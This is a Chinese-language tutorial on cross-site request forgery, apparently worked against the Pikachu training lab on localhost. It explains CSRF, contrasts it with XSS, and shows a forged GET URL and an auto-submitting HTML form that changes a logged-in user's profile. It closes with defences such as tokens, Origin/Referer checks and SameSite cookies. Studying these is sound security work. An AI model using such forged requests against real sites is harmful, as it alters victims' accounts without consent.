CSRF
Cross-site request forgery简称为“CSRF”,跨站请求伪造。 在CSRF的攻击场景中攻击者会伪造一个请求 (这个请求一般是一个链接) 然后欺骗目标用户进行攻击,用户一旦点击了这个请求,整个攻击也就完成了。
用户是网站A的注册用户,且登录进去,于是网站A就给用户下发cookie。
从上图可以看出,要完成一次CSRF攻击,受害者必须满足两个必要的条件:
(1)登录受信任网站A,并在本地生成Cookie。(如果用户没有登录网站A,那么网站B在诱导的时候,请求网站A的api接口时,会提示你登录)
(2)在不登出A的情况下,访问危险网站B(其实是利用了网站A的漏洞)。
温馨提示一下,cookie保证了用户可以处于登录状态,但网站B其实拿不到 cookie。
CSRF与XSS的区别:
CSRF攻击者并没有拿到用户的权限,是借用户的权限完成攻击;(骗)
XSS可以通过盗取cookie来获取用户权限来完成破坏。(偷)
(CSRF:需要用户先登录网站A,获取 cookie。XSS:不需要登录。)
CSRF是利用网站A本身的漏洞,去请求网站A的api。
XSS是向网站 A 注入 JS代码,然后执行 JS 里的代码,篡改网站A的内容。
CSRF(GET)
一个登录框登录后显示用户的个人信息(lucy,123456)
点击修改个人信息,提交时抓包看一下流量,修改后的参数直接在URL请求中
所以如果被攻击者此时登录状态或cookie/session没有过期,访问攻击者构造的url就可以任意修改信息。
localhost/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=123&phonenum=123&add=123&email=123&submit=submit
可以看到,电话号码和住址都被修改
CSRF(POST)
也是先登录,这是必要的,然后抓取提交修改的流量,是POST方式。
可以自己建一个表单,让被攻击者点恶意站点表单的URL。通过表单的URL去向存在CSRF漏洞的页面去提交POST请求。
<!DOCTYPE html>
<html>
<head lang="en">
<title>csrf_post</title>
<script>
window.onload = function() {
document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<form action="http://localhost/pikachu-master/vul/csrf/csrfpost/csrf_post_edit.php" method="POST">
<input type="text" name="sex" value="456"><br>
<input type="hidden" name="phonenum" value="456"><br>
<input type="hidden" name="add" value="456"><br>
<input type="hidden" name="email" value="456"><br>
<input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>
修改成功
CSRF(token)
同样的过程,get方式修改信息,但是还带了一个token参数。
由于这个token是随机不可预测的并且是隐藏看不见的,并且每次刷新,后台发送过来的token都不一样,起到了防止伪造的作用。具体过程是:
用户访问某个表单页面。
服务端生成一个Token,放在用户的Session中,或者浏览器的Cookie中。【这里已经不考虑XSS攻击】
在页面表单附带上Token参数。
用户提交请求后, 服务端验证表单中的Token是否与用户Session(或Cookies)中的Token一致,一致为合法请求,不是则非法请求。
CSRF的防御
CSRF的两个特点:
- CSRF(通常)发生在第三方域名。
- CSRF攻击者不能获取到Cookie等信息,只是使用。
针对这两点,我们可以专门制定防护策略,如下:
-
阻止不明外域的访问
-
同源检测:Origin Header和Referer Header
Host:描述请求将被发送的目的地,包括,且仅仅包括域名和端口号。在任何类型请求中,request都会包含此header信息。
Origin:用来说明请求从哪里发起的,包括,且仅仅包括协议和域名。这个参数一般只存在于CORS跨域请求中,可以看到response有对应的header:Access-Control-Allow-Origin。
Referer:告知服务器请求的原始资源的URI,其用于所有类型的请求,并且包括:协议+域名+查询参数(注意,不包含锚点信息)。因为原始的URI中的查询参数可能包含ID或密码等敏感信息,如果写入referer,则可能导致信息泄露。
-
Samesite Cookie
Set-Cookie响应头新增Samesite属性,它用来标明这个 Cookie是个“同站 Cookie”,同站Cookie只能作为第一方Cookie,不能作为第三方Cookie,Samesite 有两个属性值,分别是 Strict 和 Lax。
Strict:表明这个 Cookie 在任何情况下都不可能作为第三方 Cookie,绝无例外。
Lax:比 Strict 放宽了点限制,假如这个请求是这种请求(改变了当前页面或者打开了新页面)且同时是个GET请求,则这个Cookie可以作为第三方Cookie。
-
-
提交时要求附加本域才能获取的信息
-
CSRF Token
1)服务器验证身份后,将CSRF Token返回给前端
2)用户页面提交的请求携带这个Token
3)服务器验证Token是否正确
但是此方法的实现比较复杂,需要给每一个页面都写入Token(前端无法使用纯静态页面),每一个Form及Ajax请求都携带这个Token,后端对每一个接口都进行校验,并保证页面Token及请求Token一致。这就使得这个防护策略不能在通用的拦截上统一拦截处理,而需要每一个页面和接口都添加对应的输出和校验。这种方法工作量巨大,且有可能遗漏。
-
双重Cookie验证
利用CSRF攻击不能获取到用户Cookie的特点,我们可以要求Ajax和表单请求携带一个Cookie中的值。也就是说在请求接口时,除了常规带上 cookie 中的用户凭证信息,如 session_id 外,还把 cookie 中的用户凭证信息读出来附在接口请求参数里。
1)在用户访问网站页面时,向请求域名注入一个Cookie,内容为随机字符串(例如
csrfcookie=v8g9e4ksfhw
)。2)在前端向后端发起请求时,取出Cookie,并添加到URL的参数中(接上例
POST https://www.a.com/comment?csrfcookie=v8g9e4ksfhw
)。3)后端接口验证Cookie中的字段与URL参数中的字段是否一致,不一致则拒绝。
-